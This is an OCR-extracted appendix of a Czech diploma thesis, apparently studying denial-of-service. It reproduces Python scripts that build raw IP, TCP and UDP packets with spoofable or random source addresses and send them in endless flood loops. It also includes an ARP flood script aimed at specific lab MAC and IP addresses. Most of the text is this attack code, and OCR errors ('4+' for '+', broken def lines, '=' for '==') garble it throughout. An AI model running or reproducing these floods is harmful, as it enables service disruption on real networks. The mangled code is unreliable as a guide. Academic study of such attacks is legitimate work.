packetIP = IPpacket (sourcelP , destIP, ’tcp’)
segment = TCPsegment (sourcePort , destPort, "x")
packet = packetIP.getIPHeader () + segment.
getCorrect TCPHeader (packetIP)
while True:

s.sendto (packet , (destIP, destPort))

def udp():
"""UDP DoS funkce."""
#instance tridy IPpacket
packetIP = IPpacket (sourcelP , destIP, ’udp’)
#instance tridy UDPdatagram
datagram = UDPdatagram(sourcePort , destPort)
packetUDP = packetIP .getIPHeader () 4+ datagram.getUDPHeader ()
while True:
s.sendto (packetUDP, (destIP, destPort))

n n

if name — main :

main (sys.argv[1:])

Script C.1: Main
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C.2 classIPpacket.py

"""Trida IPpacket. Vytvari L3 packet."""
import socket

import random

from struct

import

IP PARAMEIRY

#

ihl = 5;
version = 4;
tos = 0;
tot_len = 40;
id = 54321;
frag_off = 0;
ttl = 255;
check = 10;

ihl version

#

= (version << 4) + ihl;

class IPpacket:

def

def

def

def

def

__init__ (self , sourcelP, destinationIP , IPprotocol):

self.destIP = socket.inet_aton(destinationIP)
self .sourcelP = socket.inet_aton(sourcelP)
#switch pro nastaveni L4 protokolu
if IPprotocol = ’tcp’:

self .IPprotocol = socket .IPPROTO_TCP
elif IPprotocol = ’udp’:

self .IPprotocol = socket .IPPROTO_UDP

setSourcelP (self , sourcelP):
#set String
self .sourcelP = socket.inet_aton(sourcelP)

randSourcelP (self):
#metoda pro generovani nahodne zdrojove IP adresy
self .sourcelP = socket.inet_aton('"%i.%i.%i.%1" % (
random.randint (1, 254), \
random.randint (1, 254), random.randint (1, 254), random.
randint (1, 254)))

getSourcelP (self):
#vraci objekt

return self.sourcelP

setDestinationIP (self , destinationIP):
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def

def

def

def

#set String

self.destIP = socket.inet_aton(destinationIP)

getDestinationIP (self):
#vraci objekt
return self.destIP

setIPprotocol (self , IPprotocol):
self .IPprotocol = IPprotocol

getIPprotocol (self):
#vraci objekt
return self.IPprotocol

getIPHeader (self):
#vraci IP hlavicku

return pack(’!BB3H2BH4s4s’, ihl_version, tos, tot_len,

id, frag off, ttl, \

self .IPprotocol, check, self.sourcelP ,

Script C.2: IPpacket
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C.3 classTCPsegment.py

"""Trida TCPsegment. Vytvari TCP segment a pocita kontrolni

import socket
import random

from struct import x

# TCP PARAMETRY.

seq = 0

ack _seq = 0

doff =5

offset _res = (doff << 4) + 0
window = socket.htons (5840)
check0 = 0

urg_ptr = 0

#

class TCPsegment () :

def __init__ (self , sourcePort, destinationPort, typ):

self .sourcePort = sourcePort
self.destPort = destinationPort
self.fin =0

self .syn = 0

self .rst = 0

self .psh = 0

self .urg = 0

self.ack =0

#switch pro nastaveni TCP flagu

if typ = ’'s’:
self .syn = 1;
elif typ = 'r’:
self.rst = 1;
elif typ = ’'x’

self .psh = 1;
self.fin = 1;
self .urg = 1;

[l

self .tcp flags = self.fin + (self.syn << 1) + (self.rst
<< 2) 4 (self.psh << 3) + (self.ack << 4) + (self.

urg << 5)

def setSourcePort (self, sourcePort):
self.sourcePort = sourcePort
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def randSourcePort (self):
#metoda pro generovani nahodneho zdrojoveho portu
self .sourcePort = random.randint (1025, 65535)

def getSourcePort (self):

return self.sourcePort

def setDestinationPort(self, destPort):
self.destPort = destPort

def getDestinationPort(self):
return self.destPort

def getIncorrectTCPHeader (self):
#metoda vraci TCP hlavicku bez korektniho kontrolniho

souctu

return pack (’!HHLLBB3H’, self.sourcePort, self.destPort

, seq, ack_seq, offset_res, \
self . tcp_flags, window, checkO, urg ptr)

def getCorrect TCPHeader (self , packetIP):

#metoda vraci TCP hlavicku s korektnim kontrolnim
souctem

self .source_address = packetIP.getSourcelP ()
self.dest__address = packetIP.getDestinationIP ()
self .reserved = 0
self .protocol = packetIP.getIPprotocol ()
self .tcp_length = len(self.getIncorrect TCPHeader ())

#vytvoreni pseudo IP hlavicky

self . pseudo = pack(’!4s4sBBH’, self.source_ address,
self .dest_address, self.reserved, \

self .protocol, self.tcp_length);

self .pseudo = self.pseudo + self.getIncorrectTCPHeader

0 ;

self .correct_checksum = tcp_checksum (self.pseudo)

return pack (’!HHLLBB3H’, self.sourcePort, self.destPort

, seq, ack_seq, offset_res, \

self . tcp_flags, window, self.correct_ checksum, urg ptr)

def tcp_ checksum (data):

"""Funkce pro vypocet kontrolniho souctu.

Prevzato z http://codewiki. wikispaces.com/ip_ checksum.py
pos = len(data)
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if (pos & 1):

pos —= 1

sum = ord (data[pos])
else:

sum = 0

#Main code: loop to calculate the checksum

while pos > 0:
pos —= 2
sum += (ord(data[pos + 1]) << 8) + ord(data[pos])

sum = (sum >> 16) + (sum & Oxffff)

sum += (sum >> 16)

result = (~ sum) & Oxffff #Keep lower 16 bits
result = result >> 8 | ((result & 0xff) << 8) # Swap bytes
return result

Script C.3: TCPsegment
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C.4 classUDPdatagram.py

"""Trida UDPdatagram. Vytvari UDP datagram.""'

from struct import x

# UDP PARAMETRY
MESSAGE = "Hello, World!";
checksum=0;

#

class UDPdatagram() :
def __init__ (self , sourcePort, destinationPort):
self .sourcePort = sourcePort
self.destPort = destinationPort

def setSourcePort (self, sourcePort):
self.sourcePort = sourcePort

def randSourcePort (self):
#metoda pro generovani nahodneho zdrojoveho portu
self .sourcePort = random.randint (1025, 65535)

def getSourcePort (self):

return self.sourcePort

def setDestinationPort(self, destPort):
self.destPort = destPort

def getDestinationPort(self):
return self.destPort

def getUDPHeader(self):
self .udp_length = len (MESSAGE) + 8 #vypocet delky
datagramu
return pack("!4h", self.sourcePort, self.destPort,
.udp_ length , checksum) 4+ MESSAGE

self

Script C.4: UDPdatagram
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C.5 ARP.py

## DoS ARP script ##
## Jan Hanzal +##

import socket

from struct import x

# Promenne
#Ethernet default settings
#ETHsourceMAC = "00:21:86:fa:17:01"; #PC
ETHsourceMAC = "00:15:17:44:¢cc:81"; #Server

#ETHdestMAC = "00:15:17:44:¢cc:81"; #Server
#FETHdestMAC = "00:21:86:fa:17:01"; #PC
ETHdestMAC = "44:d3:ca:cf:6d:96"; #ASA
interface = "ethl'

#ARP default settings

sourcelP = "10.5.0.1";

ARPsourceMAC = "0A:05:00:00:00:01";

destIP = "10.13.0.1";

ARPdestMAC = ETHdestMAC;

#

#vytvoreni RAW socketu

s = socket.socket (socket .PF_PACKET, socket.SOCK RAW, socket.htons (0
x0806)) #=ARP ramec

s.bind ((interface , socket.htons(0x0806)))

#vytvoreni ARP ramce
eth header = pack("!6s6s2s", ETHdestMAC.replace(’:’, ’'’).decode("hex"),
ETHsourceMAC. replace(’: 7,7 ) .decode("hex"), "\x08\x06")

arp_header = pack("!2s2slsls2s", ’\x00\x01’, "\x08\x00’, ’\x067, ’"\x04’
, \x00\x02 ")

arp_source = pack("!6s4s", ARPsourceMAC.replace(’:’, ’’).decode("hex"),
socket .inet__aton (sourcelP))

arp_dest = pack("!6s4s", ARPdestMAC.replace(’:’, ’’).decode("hex"),
socket .inet__aton (destIP))

while True:
s.send (eth__header + arp_ header + arp_source 4+ arp_dest)

Script C.5: ARP flood
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D OBSAH PRILOZENEHO CD

Na prilozeném CD je ulozena tato diplomova prace v elektronické podobé (pdf) a

skripty zminované v priloze C.
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